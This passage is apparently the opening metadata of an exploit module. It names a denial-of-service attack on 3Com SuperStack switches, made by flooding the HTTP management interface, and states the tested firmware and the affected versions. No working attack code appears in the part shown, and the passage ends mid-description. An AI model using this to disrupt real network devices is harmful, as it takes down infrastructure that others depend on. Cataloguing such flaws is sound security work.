‘Name’ => ‘3Com SuperStack Switch Denial of Service’,
‘Description’ => %q{
This module causes a temporary denial of service condition
against 3Com SuperStack switches. By sending excessive data
to the HTTP Management interface, the switch stops responding
temporarily. The device does not reset. Tested successfully
against a 3300SM firmware v2.66. Reported to affect versions
prior to v2.72.
